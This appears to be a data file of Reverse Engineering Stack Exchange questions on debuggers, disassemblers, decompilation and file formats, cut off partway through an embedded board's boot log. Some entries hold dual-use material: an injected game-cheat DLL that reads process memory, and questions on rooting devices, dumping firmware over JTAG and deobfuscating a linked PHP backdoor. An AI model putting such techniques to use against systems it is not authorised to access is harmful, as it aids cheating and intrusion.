+" +"['decryption', 'deobfuscation', 'php']"," Title: How can I decode this Malicious php code?Body: I found this backdoor on a client's website. +https://github.com/baogiaphucthinh/Malicious-php/blob/main/1259da6sc.php (original file) +I have gotten rid of it and realise it's an obfuscated script but how can I deobfuscate it in order to get to the root of this matter and understand the motive behind this attack better? +Thanks! +" +['android']," Title: How do I get adb to work on a Rockchip RK3288 based android device running Lollipop 5.1.1?Body: Lollipop 5.1.1 based device. OLD ES File Manager installed. (Yes, the exploitable one). I can copy to/from the device. I tried Kingo Root, Root Genius, Towel root, etc. None of those work. "7 taps" doesn't enable Developer mode, nor does 10, 20, or 100. I can't install a new image, and the device doesn't have volume buttons, so I can't get to recovery. Does anyone know what I need to do to enable adb? +" +"['ida', 'idapython', 'ida-plugin']"," Title: Restoring original stack variable in IDA Pro?Body: I would like to convert an instruction like:
+lea ecx, [esp+150h+var_13E+2]
+to:
+lea ecx, [esp+14h]
+I know it's possible to do this with the key K. But I'm writing an IDAPython plugin that needs an automatic conversion of instructions like the one above. +Edit: +Are there any idaapi functions to do this? +" +"['c++', 'x64dbg', 'cheat-engine']"," Title: Why module address is different in Cheat Engine than in x32dbg?Body: Why the module address is different in Cheat Engine than in x32dbg? + +I'm trying to read this: + +My c++ attempt: +
#include "pch.h"
+#include "Functions.h"
+#include "offsets.h"
+#include <iostream>
+
+using namespace std;
+
+DWORD WINAPI HackThread(HMODULE hModule)
+{
+    //Create Console
+    AllocConsole();
+    FILE* f;
+    freopen_s(&f, "CONOUT$", "w", stdout);
+
+    cout << "We're injected!\n";
+
+    uintptr_t module = (uintptr_t)GetModuleHandle(NULL);        
+    int addr = module + 0x04939F0;
+
+    while (true)
+    {
+        if (GetAsyncKeyState(VK_END) & 1)
+        {
+            cout << "Reading: " << hex << addr << endl;
+            cout << *(int*)addr << endl;
+        }
+
+        Sleep(5);
+    }
+
+    fclose(f);
+    FreeConsole();
+    FreeLibraryAndExitThread(hModule, 0);
+    return 0;
+}
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+                       DWORD  ul_reason_for_call,
+                       LPVOID lpReserved
+                     )
+{
+    switch (ul_reason_for_call)
+    {
+    case DLL_PROCESS_ATTACH:
+        CloseHandle(CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)HackThread, hModule, 0, nullptr));
+    case DLL_THREAD_ATTACH:
+    case DLL_THREAD_DETACH:
+    case DLL_PROCESS_DETACH:
+        break;
+    }
+    return TRUE;
+}
+
+From c++ I can find this module address: + +I'm not sure if I was reading the correct address my code will work... +" +['ollydbg']," Title: OllyDbg - ReadFile APIBody: I am learning reverse engineering (Lena's Reversing for Newbies) Part 2. +I'm confused about ReadFile API. +In Part 2, I created a blank Keyfile.dat near application (without a key in it). + +pBytesRead : addresses of number of bytes read +Size (Number of Bytes to Read) = 70 // number of bytes to read. +
    +
  1. What is -> 0? In pBytesRead and Buffer the sign -> appears with 0 and 00. What does that mean?
  2. +
  3. What is Size (Number of Bytes to Read) = 70 means? Does it mean that the program should read 70 decimal?
  4. +
+I'm confused about this part. +" +"['breakpoint', 'lldb', 'offset']"," Title: Set lldb breakpoint relative to ASLR slideBody: I want to set a breakpoint at an offset within a file. +I can do this fine if I launch the app, check where it is loaded with image list testapp and then add the offset of where in the binary I want the breakpoint e.g.: +
breakpoint set -a 0x10100cff4
+
+Is there a way whereby I can set the breakpoint in one go without first checking the offset it is loaded at so that I can automate a task more easily. e.g. something similar to: +
breakpoint set -a ((image list -o testapp)+0x100168ff4)
+
+I suspect I could do it with Python however that is not working for me at the moment on Ubuntu so would prefer a way it can be done with lldb commands. +Alternatively, I can add a breakpoint with: +
breakpoint set --name function_name
+
+but it is only one instruction I want to break on so still need to add an offset to that address as I then have a command that is performed when it is reached and then resumes. +Thanks +" +"['c#', 'https-protocol']"," Title: HTTPS post request not showing up in http debuggersBody: There is this program I'd like to debug of which I already have the source code. +When I run the program, it sends a post request to a specific URL with JSON data, but it doesn't show up in http debuggers. I have tried Fiddler 4 and HTTP Debugger Pro so far. It also doesn't connect to any proxies. Also, the debuggers capture everything else, so they probably work. +Here is the C# code responsible for the request (the code itself works, but I may have modified some parts to post it here): +
WebRequest webRequest = WebRequest.Create("url");
+webRequest.Method = "POST";
+webRequest.ContentType = "application/json";
+byte[] bytes = Encoding.UTF8.GetBytes(("JSON DATA"));
+using (Stream requestStream = webRequest.GetRequestStream())
+{
+  requestStream.Write(bytes, 0, bytes.Length);
+  requestStream.Close();
+}
+WebResponse response = webRequest.GetResponse();
+webRequest.GetRequestStream();
+Stream responseStream;
+using (responseStream = response.GetResponseStream())
+{
+  string end = new StreamReader(responseStream).ReadToEnd();
+}
+
+Why are none of the http debuggers capturing the request? Any help is appreciated! +" +"['ghidra', '8051']"," Title: Configuring Ghidra to use the Keil 8051 ABI for analysisBody: I am trying to reverse engineer a raw binary image from an nrf24le1 SoC that (I think) has been compiled with the Keil toolchain. Specifically, I see that C functions in this image usually expect their arguments in r7/r5/r3 as described here and that the return value lives in r7. The behavior I'm seeing is: +
    +
  • Ghidra thinks that every function in this image takes 0 parameters, even if it's obvious that the function is immediately looking at r7 for its first argument
  • +
  • Ghidra thinks the return value lives in ACC
  • +
+I have to manually override this for every function. I would like for Ghidra to automatically figure out when a function has arguments based on the Keil ABI. +By contrast, when I run Ghidra on a raw arm32 binary, it notices when a function looks for arguments in r0/r1/r2/... and it adjusts the function declaration accordingly. So Ghidra behaves correctly for arm32, but incorrectly for 8051. +Is there a way to fix this (or is there a better tool I should be using instead of Ghidra)? +" +['delphi']," Title: How can I replace bitmaps & pictures that are defined inside a Windows Form? (Win32 Delphi x86)Body: I understand that this may seem like a really obvious question, but bear with me. +I have this compiled game executable written in Borland Delphi 2010, it is based on the Win32 platform and is compiled in x86. It uses Windows Forms for the UI. +I searched heavily and used Resource Hacker and IDR to go through the program. Both seemed to detect all Windows Forms really well (IDR a little bit better) and I am able to view the raw structures here: + + +There are two types of definition in here: Picture.Data & Bitmap. It seems that both are slightly different formats although they are still Bitmaps. +Here is an example form with Bitmap (form_menu): https://pastebin.com/raw/r81sJRyq +Here is an example form with Picture.Data (form_submenu): https://gist.githubusercontent.com/sjain882/d33e261480d0f13c442ffb4b84d1d1ed/raw/0d188b2ed1673757e512236672c6b0c458ea74d1/form_submenu.txt +Scroll down to the Bitmap or Picture.Data area. Here there is an ASCII representation of the image in hex. It turns out Delphi has its own custom image headers, and this differs between Bitmap and Picture.Data (the latter being 07 54 42 69 74 6D 61 70). +However, this is the header for the whole thing, which is a bunch of bitmaps clumped together it seems, in one {} bracketed area. The bitmaps themselves have the normal headers of 42 4D. +So... given all this information, I opened the assembly in IDA Pro and searched for these headers, many different types, different lengths. But all I found was this: + +Given whats right after this "header" i believe its just some string, highly doubt its an actual bitmap. +So, this makes me think that the Windows Forms have their own encoding somewhere, instead of just storing raw bitmaps. +Is there a good way of replacing these? I would be really grateful for any ideas. I came across How can one replace bitmap (image) inside exe?, but nothing much came of it... +It would also be brilliant if I could change the entire windows forms (like dimensions of boxes etc) and the image formats, to allow for transparancy / alpha! +Thanks in advance! +" +"['ida', 'idapython']"," Title: Try to parse all functions with IdaPythonBody: Sometime Ida didn't parse some function into binary , so I search the beginning of function (in Arm it's PUSH {R4-*,LR} and press P -create a function. +How can I do it automatically for all undefined function with IdaPython ? How can I run on all over "Instruction area" and try to parse function? +" +"['ida', 'offset', 'delphi']"," Title: IDA Pro Reverse offset in structBody: I'm reversing a Delphi program and have a part where it says: +
Result = *(Self - 44);
+
+But I want it to say something like: +
Result = *(Self - offsetof(VMT_ClassDefinition, vmtClassName));
+
+Being VMT_ClassDefinition the following struct: +
struct VMT_ClassDefinition {
+    Cardinal vmtSelfPtr;
+    Cardinal vmtIntfTable;
+    Cardinal vmtAutoTable;
+    Cardinal vmtInitTable;
+    Cardinal vmtTypeInfo;
+    Cardinal vmtFieldTable;
+    Cardinal vmtMethodTable;
+    Cardinal vmtDynamicTable;
+    Cardinal vmtClassName;
+    Cardinal vmtInstanceSize;
+    Cardinal vmtParent;
+    Cardinal vmtSafeCallException;
+    Cardinal vmtAfterConstruction;
+    Cardinal vmtBeforeDestruction;
+    Cardinal vmtDispatch;
+    Cardinal vmtDefaultHandler;
+    Cardinal vmtNewInstance;
+    Cardinal vmtFreeInstance;
+    Cardinal vmtDestroy;
+};
+
+Where cardinal is unsigned int. The problem is that after using "Right Click > Struct offset" on top of the number 44 it generates the following result: +
Result = *(Self - offsetof(VMT_ClassDefinition, vmtSafeCallException));
+
+I was doing what is said in New features in Hex-Rays Decompiler 1.6 section 3, but as you can see the expected result and what I got is totally different. +My guess is that it forgets about the "-" sign and just advances from the start +44. Is there a way to reverse this behavior? I know it can be done in ASM view by inverting with "_" and then pressing "T" like in Negated structure offsets, but that does not apply to the Pseudocode view. +" +"['disassembly', 'x86', 'ghidra']"," Title: I'm having trouble understanding this specific notation in GhidraBody: I'm reversing a code construct I created to learn Ghidra, and it looks different to what it is in GDB. I was wondering if anyone could clarify what the highlighted LEA instruction means: [I don't know how it should be read] + +Thanks, R. +" +"['ida', 'binary-analysis', 'go']"," Title: How to find references for a string (where it is being called) in Go binaryBody: I have a Go binary and I have this string: + +When I go to its location, with IDA Pro, and tries to find all the references (using x) I am getting a message that there are no references: + +It might be because it is being load dynamically? If yes, is there a way to find the location statically? +" +"['file-format', 'encryption', 'decryption']"," Title: Issue in opening a file type after unzippingBody: I downloaded a file from this link https://storage.cloud.google.com/gresearch/smallcnnzoo-dataset/cifar10.tar.xz, and I successfully downloaded the archive file.I unzipped it using 7-Zip. After unzipping the file format type is file. +I converted it to CSV extension but I am unable to read the data its encoded like below + +" +"['windows', 'ollydbg', 'winapi']"," Title: CreateFileA returning invalid handle when file existsBody: I was working on a practice binary. It opens the file at C:/WINDOWS/system32/filename#123.dat, if the file does not exist, the check compares the result to -1 (An invalid handle). However, even after creating the file, then re-running (Using ollydbg) the handle value is still invalid (-1). I am following a walk-through where the individual goes through the exact same steps. and a valid handle is returned. I am running as administrator. Is this a known issue? Anyone have a solution to it? Been stuck for 2 days +File being accessed via: +
CreateFileA
+Access = GENERIC_READ
+ShareMode = 0
+pSecurity= NULL
+Mode = OPEN_EXISTING
+Attributes = NORMAL
+hTemplateFile = NULL
+FileName = "C:\WINDOWS\system32\filename#123.dat"
+
+I originally tried on Windows 10, did not work, so then I hopped over to windows XP 64 bit (what the walkthrough was using - still did not work.) +" +['serial-communication']," Title: Tapping into Ford SCP BUSBody: I'm looking to tap into the Ford SCP BUS to display text onto my dashboard on my '01 Jaguar S-Type. +This car has a two row screen that displays the odometer, average fuel consumption - amongst other things. The radio also can display to this; when changing radio stations from the steering wheel controls it displays the frequency and (if supported by the radio station) the name of the station. +(not my photo, but this shows the cluster for reference. The screen is at the bottom in the middle.) + +From what few things I have read online (as information about this infotainment system, or any from Ford in regards to this system), this uses the SCP BUS to communicate to the dashboard. Reading the electrical wiring manual for it, it shows all the possible codes that the SCP system can support, and it does show that command number 90 is "Download block to display command" sent from "AUDIO" ("Radio Head Unit" in the manual) to "MC" ("Message Center (part of instrument cluster)" in the manual). +My question is; how would I go about intercepting this data stream/command (using a Raspberry Pi, as this will be used in the final solution). Can I just splice two cables onto the existing harness and have them attach to the Pi, or would I have to include the Pi in the chain and forward any commands to and from the head unit to the rest of the network. Or, better yet, does anyone know of any resources that I can find to construct these messages myself to save me from interpreting these messages and just directly attaching the Pi to the network, like it will be in the final setup. +(also don't be confused about me mentioning a Ford system in a Jaguar, this car was manufactured when Ford owned them, and it has a Ford motor, sound system etc.) +" +['disassembly']," Title: The compiler adds a function call to user-defined functions. What does the function do? (x64 Windows executable)Body:

Introduction

+I compiled a simple executable with Visual Studio in x64 Windows. Source code: +
long test(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j) {
+  printf("%d %d %d", a, b, c);
+  return 0x0123456789acdef;
+}
+
+int main() {
+  test(1,2,3,4,5,6,7,8,9,10);
+}
+
+
+If you compile the executable with GCC, then you get what you'd expect: one function call in main (it calls test) and one function call in test (it calls printf). +However, if you compile the executable with Visual Studio on an x64 Windows machine, then in both main and test, an additional call is made to some function. Let's call that function mystery. I'd like to know what the mystery function is for. +

Code

+Here is the disassembly of the main function. I have added a comment to show where the mystery function is called. +
int main (int argc, char **argv, char **envp);
+; var int64_t var_c8h @ rbp+0xc8
+; var int64_t var_20h @ rsp+0x20
+; var int64_t var_28h @ rsp+0x28
+; var int64_t var_30h @ rsp+0x30
+; var int64_t var_38h @ rsp+0x38
+; var int64_t var_40h @ rsp+0x40
+; var int64_t var_48h @ rsp+0x48
+; var int64_t var_50h @ rsp+0x50
+
+push rbp
+push rdi
+sub rsp, 0x118
+lea rbp, [var_50h]
+lea rcx, [0x1400c1003]
+call fcn.140034cf1         ; Mystery function here!
+mov dword [var_48h], 0xa
+mov dword [var_40h], 9
+mov dword [var_38h], 8
+mov dword [var_30h], 7
+mov dword [var_28h], 6
+mov dword [var_20h], 5
+mov r9d, 4
+mov r8d, 3
+mov edx, 2
+mov ecx, 1
+call fcn.140033e73
+xor eax, eax
+lea rsp, [var_c8h]
+pop rdi
+pop rbp
+ret
+
+The same mystery function is also called in the test function: +
test (int64_t arg1, int64_t arg2, int64_t arg3, int64_t arg4);
+; var int64_t var_c8h @ rbp+0xc8
+; var int64_t var_20h_2 @ rsp+0x20
+; var int64_t var_8h @ rsp+0x100
+; var int64_t var_10h @ rsp+0x108
+; var int64_t var_18h @ rsp+0x110
+; var int64_t var_20h @ rsp+0x118
+; arg int64_t arg1 @ rcx
+; arg int64_t arg2 @ rdx
+; arg int64_t arg3 @ r8
+; arg int64_t arg4 @ r9
+
+mov dword [var_20h], r9d   ; arg4
+mov dword [var_18h], r8d   ; arg3
+mov dword [var_10h], edx   ; arg2
+mov dword [var_8h], ecx    ; arg1
+push rbp
+push rdi
+sub rsp, 0xe8
+lea rbp, [var_20h_2]
+lea rcx, [0x1400c1003]
+call fcn.140034cf1         ; Mystery function here!!!
+mov r9d, dword [var_18h]
+mov r8d, dword [var_10h]
+mov edx, dword [var_8h]
+lea rcx, str._d__d__d      ; 0x14009ff98 ; "%d %d %d"      
+call fcn.1400335b3
+mov eax, 0x789acdef
+lea rsp, [var_c8h]
+pop rdi
+pop rbp
+ret
+
+Here are the contents of the mystery function: +
├ 60: mystery (int64_t arg1);
+│           ; var int64_t var_20h @ rsp+0x20
+│           ; var int64_t var_8h @ rsp+0x40
+│           ; arg int64_t arg1 @ rcx
+│           0x1400387d8      48894c2408     mov qword [var_8h], rcx    ; arg1
+│           0x1400387dd      4883ec38       sub rsp, 0x38
+│           0x1400387e1      488b442440     mov rax, qword [var_8h]
+│           0x1400387e6      4889442420     mov qword [var_20h], rax
+│           0x1400387eb      488b442440     mov rax, qword [var_8h]
+│           0x1400387f0      0fb600         movzx eax, byte [rax]
+│           0x1400387f3      85c0           test eax, eax
+│       ┌─< 0x1400387f5      7418           je 0x14003880f
+│       │   0x1400387f7      833d06fa0700.  cmp dword [0x1400b8204], 0 ; [0x1400b8204:4]=0
+│      ┌──< 0x1400387fe      740f           je 0x14003880f
+│      ││   0x140038800      ff15fa770800   call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId] ; [0x1400c0000:8]=0xc0738 reloc.KERNEL32.dll_GetCurrentThreadId ; "8\a\f" ; DWORD GetCurrentThreadId(void)
+│      ││   0x140038806      3905f8f90700   cmp dword [0x1400b8204], eax ; [0x1400b8204:4]=0
+│     ┌───< 0x14003880c      7501           jne 0x14003880f
+│     │││   0x14003880e      90             nop
+│     │││   ; CODE XREFS from mystery @ 0x1400387f5, 0x1400387fe, 0x14003880c
+│     └└└─> 0x14003880f      4883c438       add rsp, 0x38
+└           0x140038813      c3             ret
+
+

Notes

+The call to KERNEL32.dll_GetCurrentThreadId in the mystery function seemed interesting, but I couldn't find any information about functions, which get added by the compiler and call GetCurrentThreadId. +The question arose because I was studying the Microsoft x64 calling convention and I noticed that the mystery function didn't seem to use "home space" (also known as "shadow space", 32 bytes of space on the stack that's assigned to each function). I wanted to know what that function is and why home space wasn't assigned to it. +So the question is, what is the mystery function? +" +"['disassembly', 'windows']"," Title: Is it possible to Direct3D 9 debug DLL in an app using the release versionBody: I have an application using d3d9.dll, but I want to figure out which functions it calls to gain insight. +Since online tools I have found are incompatible with my app (32-bit d3d9), +is it instead possible to use the d3d9d.dll (debug version), or somehow wrap the calls? +" +"['mips', 'jtag']"," Title: WRT54GL firmware extraction via JTAG with OpenOCD and Raspberry Pi as interface. Can not dump because the device is not haltedBody: Good day! +Sorry to come up with something very old. Since I am currently teaching myself hardware hacking, I wanted to use my old router for this. I soldered pins to the JTAG interface and connected them to my Pi2 GPIO. I connected them as follows: + +Unfortunately, I cannot dump the firmware because the device does not want to switch to halt. Only time-out for halt request appears. +I have changed the freq, checked for cold solder joints. (I don't have any errors) +
init
+reset halt
+JTAG tap: bcm5352e.cpu tap/device found: 0x0535217f (mfg: 0x0bf, part:
+0x5352, ver: 0x0)
+Halt timed out, wake up GDB.
+timed out while waiting for target halted
+TARGET: bcm5352e.cpu - Not halted
+
+Any ideas? +" +"['ida', 'binary-analysis', 'hex', 'game-hacking', 'unknown-data']"," Title: Unknown binary format (.scp) - No HeaderBody: I hope everyone is doing well. I've recently been trying to decode the structure of some files that contain a lot Unicode-8 IIRC characters, with a mix of binary. When I put it into IDA, I can't seem to find any header to identify if it's compressed, etc. I'm no professional at reverse engineering and was wondering if anyone could help me decode this file, or maybe help get me started. Thank you, and help is appreciated! +Link to some example files, try anyone that you think would be a good start: +.SCP Files +Here is what it looks like in IDA if you are wondering: + +" +"['disassembly', 'x86']"," Title: What does the cs register do here?Body: I've come across this sequence of bytes: 2e 88 38. +Hopper disassembles this as: +
mov    byte [cs:rax], bh
+
+This online disassembler gives slightly different output: +
mov    BYTE PTR cs:[rax],bh 
+
+Either way, I can't make heads nor tails of what the intended result of this instruction is. +" +"['ios', 'register', 'frida', 'arm64', 'aarch64']"," Title: Read and write to register with FridaBody: I have an instruction that looks like this in Ghidra: +
       100168ff0 e9 13 00 32     orr        w9,wzr,#0x1f
+
+Using lldb I can set a breakpoint on the instruction after this, read w9 to confirm what value it is storing and modify it if needs be. +I am trying to do something similar with Frida with the following script: +
var t_module = 'testApp';
+var loadAddress = Module.getBaseAddress(t_module);
+var instructionOffset = ptr(0x168ff4);
+
+var toAtt = loadAddress.add(instructionOffset);
+
+Interceptor.attach(toAtt, {
+    onEnter: function(args) {
+        console.log("[+] Module base address found at " + loadAddress)
+        console.log("[+] Found instruction at " + toAtt)
+        console.log("[+] Attempting to read w9: " + this.context.w9)
+    }
+});
+
+however trying to read w9 just returns undefined. It is defined here so is not that Frida is calling it something else. +I can confirm the right address is being reached using: +
Memory.readByteArray(ptr("0x102ab4ff0"),4)
+
+where 0x102ab4ff0 is the address printed by the script, and comparing it to the instruction at the beginning from Ghidra. +I'm not sure if I've misunderstood something about Frida or where I should attach. This is the closest question I could find and that just says to use this.context.eax. +" +"['assembly', 'decompilation', 'c', 'decompile', 'mips']"," Title: MIPS assembly to C codeBody: I think I'm really brain-dead and am not really sure what to do next, but I am trying to manually convert assembly code to a C program. It's not really working, but I'm not sure what is wrong. I would be glad for any help. The code consists of two .c files and one header file for the subroutine. In the header file, I only declared the extern int b variable, so I'm not posting it here. +
program code
+
+
+build/program-mips:     file format elf32-tradbigmips
+
+
+Disassembly of section my_text:
+
+00405060 <subroutine_fnc>:
+  405060:   27bdfff8    addiu   sp,sp,-8
+  405064:   afbe0004    sw  s8,4(sp)
+  405068:   03a0f025    move    s8,sp
+  40506c:   afc40008    sw  a0,8(s8)
+  405070:   8fc20008    lw  v0,8(s8)
+  405074:   00000000    nop
+  405078:   2842005b    slti    v0,v0,91
+  40507c:   10400006    beqz    v0,405098 <subroutine_fnc+0x38>
+  405080:   00000000    nop
+  405084:   8fc20008    lw  v0,8(s8)
+  405088:   00000000    nop
+  40508c:   28420041    slti    v0,v0,65
+  405090:   10400004    beqz    v0,4050a4 <subroutine_fnc+0x44>
+  405094:   00000000    nop
+  405098:   8fc20008    lw  v0,8(s8)
+  40509c:   1000000c    b   4050d0 <subroutine_fnc+0x70>
+  4050a0:   00000000    nop
+  4050a4:   3c020041    lui v0,0x41
+  4050a8:   8c4260d0    lw  v0,24784(v0)
+  4050ac:   00000000    nop
+  4050b0:   24430001    addiu   v1,v0,1
+  4050b4:   3c020041    lui v0,0x41
+  4050b8:   ac4360d0    sw  v1,24784(v0)
+  4050bc:   8fc20008    lw  v0,8(s8)
+  4050c0:   00000000    nop
+  4050c4:   24420020    addiu   v0,v0,32
+  4050c8:   afc20008    sw  v0,8(s8)
+  4050cc:   8fc20008    lw  v0,8(s8)
+  4050d0:   03c0e825    move    sp,s8
+  4050d4:   8fbe0004    lw  s8,4(sp)
+  4050d8:   27bd0008    addiu   sp,sp,8
+  4050dc:   03e00008    jr  ra
+  4050e0:   00000000    nop
+
+004050e4 <toplevel_fnc>:
+  4050e4:   27bdffc8    addiu   sp,sp,-56
+  4050e8:   afbf0034    sw  ra,52(sp)
+  4050ec:   afbe0030    sw  s8,48(sp)
+  4050f0:   03a0f025    move    s8,sp
+  4050f4:   1000001e    b   405170 <toplevel_fnc+0x8c>
+  4050f8:   00000000    nop
+  4050fc:   83c20028    lb  v0,40(s8)
+  405100:   00000000    nop
+  405104:   00402025    move    a0,v0
+  405108:   0c101418    jal 405060 <subroutine_fnc>
+  40510c:   00000000    nop
+  405110:   00021600    sll v0,v0,0x18
+  405114:   00021603    sra v0,v0,0x18
+  405118:   a3c20028    sb  v0,40(s8)
+  40511c:   24040001    li  a0,1
+  405120:   27c20028    addiu   v0,s8,40
+  405124:   00402825    move    a1,v0
+  405128:   24060001    li  a2,1
+  40512c:   24020fa4    li  v0,4004
+  405130:   0000000c    syscall
+  405134:   afc70018    sw  a3,24(s8)
+  405138:   afc20024    sw  v0,36(s8)
+  40513c:   8fc20018    lw  v0,24(s8)
+  405140:   00000000    nop
+  405144:   14400004    bnez    v0,405158 <toplevel_fnc+0x74>
+  405148:   00000000    nop
+  40514c:   8fc20024    lw  v0,36(s8)
+  405150:   10000002    b   40515c <toplevel_fnc+0x78>
+  405154:   00000000    nop
+  405158:   2402ffff    li  v0,-1
+  40515c:   afc20020    sw  v0,32(s8)
+  405160:   8fc20020    lw  v0,32(s8)
+  405164:   00000000    nop
+  405168:   04400018    bltz    v0,4051cc <toplevel_fnc+0xe8>
+  40516c:   00000000    nop
+  405170:   00002025    move    a0,zero
+  405174:   27c20028    addiu   v0,s8,40
+  405178:   00402825    move    a1,v0
+  40517c:   24060001    li  a2,1
+  405180:   24020fa3    li  v0,4003
+  405184:   0000000c    syscall
+  405188:   afc70018    sw  a3,24(s8)
+  40518c:   afc2001c    sw  v0,28(s8)
+  405190:   8fc20018    lw  v0,24(s8)
+  405194:   00000000    nop
+  405198:   14400004    bnez    v0,4051ac <toplevel_fnc+0xc8>
+  40519c:   00000000    nop
+  4051a0:   8fc2001c    lw  v0,28(s8)
+  4051a4:   10000002    b   4051b0 <toplevel_fnc+0xcc>
+  4051a8:   00000000    nop
+  4051ac:   2402ffff    li  v0,-1
+  4051b0:   afc20020    sw  v0,32(s8)
+  4051b4:   8fc30020    lw  v1,32(s8)
+  4051b8:   24020001    li  v0,1
+  4051bc:   1062ffcf    beq v1,v0,4050fc <toplevel_fnc+0x18>
+  4051c0:   00000000    nop
+  4051c4:   10000002    b   4051d0 <toplevel_fnc+0xec>
+  4051c8:   00000000    nop
+  4051cc:   00000000    nop
+  4051d0:   3c020041    lui v0,0x41
+  4051d4:   8c4260d0    lw  v0,24784(v0)
+  4051d8:   03c0e825    move    sp,s8
+  4051dc:   8fbf0034    lw  ra,52(sp)
+  4051e0:   8fbe0030    lw  s8,48(sp)
+  4051e4:   27bd0038    addiu   sp,sp,56
+  4051e8:   03e00008    jr  ra
+  4051ec:   00000000    nop
+
+program data
+
+
+build/program-mips:     file format elf32-tradbigmips
+
+Contents of section my_data:
+ 4160d0 00000000                             ....      
+
+Here is the code I retrieved so far: +Toplevel +
#include <stdio.h>
+#include "subroutine.h"
+
+
+int b = 0;
+int toplevel_fnc(void)
+{
+  char a = 0;
+  while (b < 0)
+  {
+    read(0, a, 1);
+    a = 3;
+    if (a != 1)
+    {
+      (long)b;
+      a = subroutine_fnc(b);
+      write(1,a,1);
+      b += 4;
+    }
+  }
+  return b;
+}
+
+Subroutine +
/* Implementation of the subroutine subroutine_fnc */
+
+#include "subroutine.h"
+
+
+
+int subroutine_fnc(int a)
+{
+  if (90 < a)
+  {
+    return a;
+  }
+  if (64 < a)
+  {
+    b += 1;
+    a += 32;
+    return a;
+  }
+}
+
+" +['dump']," Title: How to get root access on Linux embedded system?Body: I've saved from the trash bin an embedded system using an OPOS6UL (http://www.armadeus.org/wiki/index.php?title=OPOS6UL) as Single Board Computer. +It was easy to get an UART console, but I cannot log in because I don't know the password. +What can be ways to get root access ? +I think : +
    +
  • try common passwords/development kit default password => not working
  • +
  • brute-force the password : too long, I have to wait several seconds between retries
  • +
  • dump the eMMC to read /etc/passwd : hardware dump is impossible, is it possible from u-boot ?
  • +
  • any other idea ?
  • +
+Here is the boot log : +
U-Boot SPL 2016.05 (Sep 22 2017 - 16:24:46)
+Trying to boot from MMC1
+
+
+U-Boot 2016.05 (Sep 22 2017 - 16:24:46 +0200)
+
+CPU:   Freescale i.MX6UL rev1.1 at 396 MHz
+Reset cause: POR
+Board: OPOS6UL
+DRAM:  256 MiB
+MMC:   FSL_SDHC: 0
+Video: 800x480x18
+Net:   FEC [PRIME]
+Hit any key to stop autoboot:  0
+1152122 bytes read in 140 ms (7.8 MiB/s)
+5243120 bytes read in 265 ms (18.9 MiB/s)
+27370 bytes read in 116 ms (229.5 KiB/s)
+Kernel image @ 0x82000000 [ 0x000000 - 0x5000f0 ]
+## Flattened Device Tree blob at 88000000
+   Booting using the fdt blob at 0x88000000
+   Using Device Tree in place at 88000000, end 88009ae9
+
+Starting kernel ...
+
+[    0.000000] Booting Linux on physical CPU 0x0
+[    0.000000] Linux version 4.8.10 (microlide@dev-armadeus) (gcc version 6.2.1 20161016 (Linaro GCC 6.2-2016.11) ) #1 PREEMPT Mon Oct 23 18:04:19 CEST 2017
+[    0.000000] CPU: ARMv7 Processor [410fc075] revision 5 (ARMv7), cr=10c53c7d
+[    0.000000] CPU: div instructions available: patching division code
+[    0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache
+[    0.000000] OF: fdt:Machine model: Armadeus Systems OPOS6UL SoM on OPOS6ULDev board
+[    0.000000] cma: Reserved 16 MiB at 0x8f000000
+[    0.000000] Memory policy: Data cache writeback
+[    0.000000] CPU: All CPU(s) started in SVC mode.
+[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 65024
+[    0.000000] Kernel command line: console=ttymxc0,115200 root=/dev/mmcblk0p2 ro rootfstype=ext4 rootwait
+[    0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)
+[    0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
+[    0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
+[    0.000000] Memory: 222416K/262144K available (8192K kernel code, 365K rwdata, 2296K rodata, 1024K init, 8206K bss, 23344K reserved, 16384K cma-reserved, 0K highmem)
+[    0.000000] Virtual kernel memory layout:
+[    0.000000]     vector  : 0xffff0000 - 0xffff1000   (   4 kB)
+[    0.000000]     fixmap  : 0xffc00000 - 0xfff00000   (3072 kB)
+[    0.000000]     vmalloc : 0xd0800000 - 0xff800000   ( 752 MB)
+[    0.000000]     lowmem  : 0xc0000000 - 0xd0000000   ( 256 MB)
+[    0.000000]     pkmap   : 0xbfe00000 - 0xc0000000   (   2 MB)
+[    0.000000]     modules : 0xbf000000 - 0xbfe00000   (  14 MB)
+[    0.000000]       .text : 0xc0008000 - 0xc0900000   (9184 kB)
+[    0.000000]       .init : 0xc0c00000 - 0xc0d00000   (1024 kB)
+[    0.000000]       .data : 0xc0d00000 - 0xc0d5b6c0   ( 366 kB)
+[    0.000000]        .bss : 0xc0d5d000 - 0xc1560bc0   (8207 kB)
+[    0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
+[    0.000000] Running RCU self tests
+[    0.000000] Preemptible hierarchical RCU implementation.
+[    0.000000]  RCU lockdep checking is enabled.
+[    0.000000]  Build-time adjustment of leaf fanout to 32.
+[    0.000000] NR_IRQS:16 nr_irqs:16 16
+[    0.000000] Switching to timer-based delay loop, resolution 41ns
+[    0.000018] sched_clock: 32 bits at 24MHz, resolution 41ns, wraps every 89478484971ns
+[    0.000068] clocksource: mxc_timer1: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 79635851949 ns
+[    0.002539] Console: colour dummy device 80x30
+[    0.002617] Lock dependency validator: Copyright (c) 2006 Red Hat, Inc., Ingo Molnar
+[    0.002645] ... MAX_LOCKDEP_SUBCLASSES:  8
+[    0.002669] ... MAX_LOCK_DEPTH:          48
+[    0.002692] ... MAX_LOCKDEP_KEYS:        8191
+[    0.002714] ... CLASSHASH_SIZE:          4096
+[    0.002734] ... MAX_LOCKDEP_ENTRIES:     32768
+[    0.002756] ... MAX_LOCKDEP_CHAINS:      65536
+[    0.002777] ... CHAINHASH_SIZE:          32768
+[    0.002797]  memory used by lock dependency info: 5167 kB
+[    0.002820]  per task-struct memory footprint: 1536 bytes
+[    0.002902] Calibrating delay loop (skipped), value calculated using timer frequency.. 48.00 BogoMIPS (lpj=240000)
+[    0.002951] pid_max: default: 32768 minimum: 301
+[    0.003414] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
